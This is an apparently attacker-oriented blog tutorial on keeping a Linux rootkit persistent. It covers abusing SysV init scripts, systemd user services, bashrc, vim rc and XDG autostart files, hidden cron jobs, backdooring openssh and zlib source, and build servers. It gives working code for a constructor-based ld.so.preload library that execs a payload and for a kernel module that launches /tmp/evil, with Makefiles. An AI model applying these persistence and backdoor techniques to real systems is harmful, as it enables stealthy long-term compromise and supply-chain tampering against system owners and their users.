有个中文版在Freebuf,需要的可以去看看

linux rootkit

dig deeper into user space

lets abuse inits

the INIT

a lot of script kiddies know how to write their own SysV service file or modify the existing ones, fortunate for them, SysVinit is still widely supported in Linux world. Debian family choose to keep their SysVinit compatability, which is also why systemd-sysv exists, thus, Ubuntu inherited this shit too.

for Ubuntu, things can be quite complicated, it historically used upstart, switched to systemd from 15.04, then dropped upstart and became more like Debian.

heres a screenshot for INIT on Ubuntu 18.04:

1804 init

almost forgot the rootkit part...

yea, for most of the cases, we use SysV style service file, which, is basically shell scripts, you can find them in many devices, include IoT ones:

#!/bin/sh

# all comments have been removed

PATH=/bin:/usr/bin:/sbin:/usr/sbin
DESC="cron daemon"
NAME=cron
DAEMON=/usr/sbin/cron
PIDFILE=/var/run/crond.pid
SCRIPTNAME=/etc/init.d/"$NAME"

test -f $DAEMON || exit 0

. /lib/lsb/init-functions # wow, why not put our evil functions in this?

[ -r /etc/default/cron ] && . /etc/default/cron

parse_environment() {
    for ENV_FILE in /etc/environment /etc/default/locale; do
        [ -r "$ENV_FILE" ] || continue
        [ -s "$ENV_FILE" ] || continue

        for var in LANG LANGUAGE LC_ALL LC_CTYPE; do
            value=$(egrep "^${var}=" "$ENV_FILE" | tail -n1 | cut -d= -f2)
            [ -n "$value" ] && eval export $var=$value

            if [ -n "$value" ] && [ "$ENV_FILE" = /etc/environment ]; then
                log_warning_msg "/etc/environment has been deprecated for locale information; use /etc/default/locale for $var=$value instead"
            fi
        done
    done

    # Get the timezone set.
    if [ -z "$TZ" -a -e /etc/timezone ]; then
        TZ=$(cat /etc/timezone)
    fi
}

# Parse the system's environment
if [ "$READ_ENV" = "yes" ]; then
    parse_environment
fi

case "$1" in
start)
    log_daemon_msg "Starting periodic command scheduler" "cron" # we can modify this function, without bringing too much attention
    start_daemon -p $PIDFILE $DAEMON $EXTRA_OPTS
    log_end_msg $?
    ;;
stop)
    log_daemon_msg "Stopping periodic command scheduler" "cron"
    killproc -p $PIDFILE $DAEMON
    RETVAL=$?
    [ $RETVAL -eq 0 ] && [ -e "$PIDFILE" ] && rm -f $PIDFILE
    log_end_msg $RETVAL
    ;;
restart)
    log_daemon_msg "Restarting periodic command scheduler" "cron"
    $0 stop
    $0 start
    ;;
reload | force-reload)
    log_daemon_msg "Reloading configuration files for periodic command scheduler" "cron"
    # cron reloads automatically
    log_end_msg 0
    ;;
status)
    status_of_proc -p $PIDFILE $DAEMON $NAME && exit 0 || exit $?
    ;;
*)
    log_action_msg "Usage: /etc/init.d/cron {start|stop|status|restart|reload|force-reload}"
    exit 2
    ;;
esac
exit 0

if we were going to inplement our lovely rootkit in this service, please read the above code carefully

an example here:

sysv init

put it to:

/etc/init.d
/etc/rc[runlevel].d
/etc/rc.local

you will need root for this

for systemd, we can do this without root, thats where systemd/User comes in

possible service file locations:

/etc/systemd/system
/etc/systemd/user
/lib/systemd/system
/lib/systemd/user
~/.local/share/systemd/user
~/.config/systemd/user

write service file like this:

[Unit]
Description=Music Player Daemon

[Service]
ExecStart=/tmp/evil hello_from_systemd_user

[Install]
WantedBy=default.target

use systemctl --user enable service for user services, systemctl enable service is for system-wide service

bashrc

very handy as well!

bash shell is frequently executed, which means bashrc files are, too

there are some files you might love:

/etc/profile
~/.bashrc
~/.bash_profile
~/.bash_logout

just add something like

/tmp/evil hello_from_bashrc

thats it

xinitrc

you probably wont believe this, but quite a lot linux servers have Xorg installed (coz they want GUI), the most used distro for those admins, is CentOS6 with Gnome2

other RCs

many programs have their own RC file for init config purposes, such as VIM

they exec code in RCs, and the RCs can be placed under ~, lets abuse VIM:

vim evil

abuse GUI/DE

most linux servers dont have any GUI installed, thus dont need to worry about this part. but like i said, there are plenty of boxes have Gnome (mostly CentOS/RHEL), i guess knowing a little bit about linux desktop can help you make better use of these

XDG autostart for system

put a desktop file to /etc/xdg/autostart and it will be executed on DE boot:

desktop evil

XDG autostart for user

likewise, put the above file to ~/.config/autostart and it will be executed on user login

our favorite -- crond

its indeed script kids' favorite, coz its as straight forward as Windows's schedule task. however its also well known to sys admins :(

so, lets put our job to some hidden places like /etc/cron.d insead of /var/spool/cron

im sure everybody knows how to write a cron job:

cron evil

replacing files

it can be done in many ways, here im going to show you some source code tampering trick

take openssh as an example, we can download its source and modify some function

uncompress_buffer() will only be used when ssh -C is specified, emmm, so be it, it is the one

sshd evil

when needed, use ssh -C target and the target will run our evil function

sshd evil run

we can patch existing binaries with our shellcode, without having to recompile the whole project. theres a tool called backdoor-factory can help you with that

plus, if we are in a git/svn server, make use of the source code it hosts, modify its Makefile or configure or something else useful. through which, you have a chance running your code in a mass scale of targets, or worst, just run it on the git/svn build server

abuse dynamic libs

the use dynamic libs is very common, simply put, libs contain all the functions an executable calls, which means we can add our own code and get executed too

replace it

most of the cases, we dont patch existing SOs (shared object), to add our code, we need to recompile the lib

to find a lib to tamper with, we use ldd to reveal its links to every dynamic lib:

ldd

here, we play with libz.so.1, coz its a lot like the example in previous part

libz.so.1 comes from zlib, you can check it with your package manager:

zlib

download openssh portable 7.9 source, grep search zlib keyword, we can easily find some code resides in packet.c:

zlib in ssh

now we change zlib's code, add system() to inflate() function (which is located in inflate.c):

zlib evil

build zlib and use the modified libz.so* to replace the legit ones in target system, and run ssh -C to trigger our code:

zlib evil run

NOTE as dynamic libs, their functions get called frequently by ELFs, we better not add overhead to our code. and BEWARE, what if some external ELF we call in our lib code calls back? that would be a disaster

ld.so.preload

thats what script kids use, yes, according to ld.so's manual, ld.so handles every ELF/a.out in Linux,

The program ld.so handles a.out binaries, a format used long ago; ld-linux.so* (/lib/ld-linux.so.1 for libc5, /lib/ld-linux.so.2 for glibc2) handles ELF, which everybody has been using for years now. Otherwise, both have the same behavior, and use the same support files and programs as ldd(1), ldconfig(8), and /etc/ld.so.conf.

except for statically linked ELFs, which has their own ld.a bundled with everything else

to load a lib before ld.so handles any ELFs, we put our lib into /etc/ld.so.preload, or set LD_PRELOAD=/path/to/libwhatever.so, the latter, is more stealth

our lib is named libevil.so

as a lib, it cant just get executed, it needs to be called. but what fucking ELF would call our libevil??? no worries, we can use something like DllMain, its provided by GCC:

gcc attributes

here comes our code:

#include <stdio.h>
#include <unistd.h>

static void __attribute__((constructor))
lib_init(void);

static void lib_init(void)
{
    int pid = fork();
    if (pid == 0) {
        execl("/tmp/evil", "/tmp/evil", "hello_from_evil\n", (char*)NULL);
    }
    puts("evil lib initialized");
    return;
}

and the Makefile:

all:
        gcc -Wall -fPIC -shared -o libevil.so evil.c -ldl

clean:
        rm -f libevil.so *main*

make it and upload to target, test it out:

libevil run

NOTE libevil.so gets run before any ELFs, therefore we cant call anything dynamic, to prevent boom. also, execl() doesnt return unless it gets an error, which means libevil.so will exit its current process before any ELF acutally gets run, resulting in an unusable system

btw, system() always call /bin/sh, thus cant be used in our libevil.so

so, why not write our rootkit entirely in libs?

make use of kernel space

LKM

linux can load unverified kernel modules on the fly, sounds cool huh?

writing LKMs is easier than it looks, just write a Makefile first, you will know when you see it:

obj-m += temp.o

all:
        make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules

clean:
        make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) clean

and the LKM code comes in:

#include <linux/kernel.h>
#include <linux/kmod.h>
#include <linux/module.h>

MODULE_LICENSE("GPL"); // if not specified, the kernel is gonna complain

static int cmd(char* argv[], char* envp[])
/* execute shell commands */
{
    call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); // this is how we execute something
    // envp is useful as it provides env var support
    printk("exec cmd %s\n", *argv);
    return 0;
}

static int init_mod(void)
/*module setup*/
{
    char* shell[] = { "/tmp/evil", "hello_from_lkm", NULL };
    cmd(shell, NULL);
    printk("initialized module\n");
    return 0;
}

static void cleanup_mod(void)
/*module shutdown*/
{
    char* shell[] = { "/bin/rm", "/tmp/evil.log", NULL };
    cmd(shell, NULL);
    printk("module removed\n");
    return;
}

/* specify init and exit method */
module_init(init_mod);
module_exit(cleanup_mod);

simply put, you need module_init() and module_exit(), with your custom int init(void) abd void exit(void) as args

add a GPL lisence, hail FSF!

after building the LKM, insmod helps you load the module, rmmod does the opposite

lets load it and see:

lkm run

no one seems to care about initrd

you can write LKM to /etc/rc.modules or something to load your LKM on boot, but theres a better way to do that

yes initrd helps a lot

if you dont understand the way linux boots itself, go to this article

for Kali Rolling (Linux 4.18), we have the following demo:

initrd

thats it, thank you guys for being here. if you need, heres the Chinese version


Got something to say?

comments powered by Disqus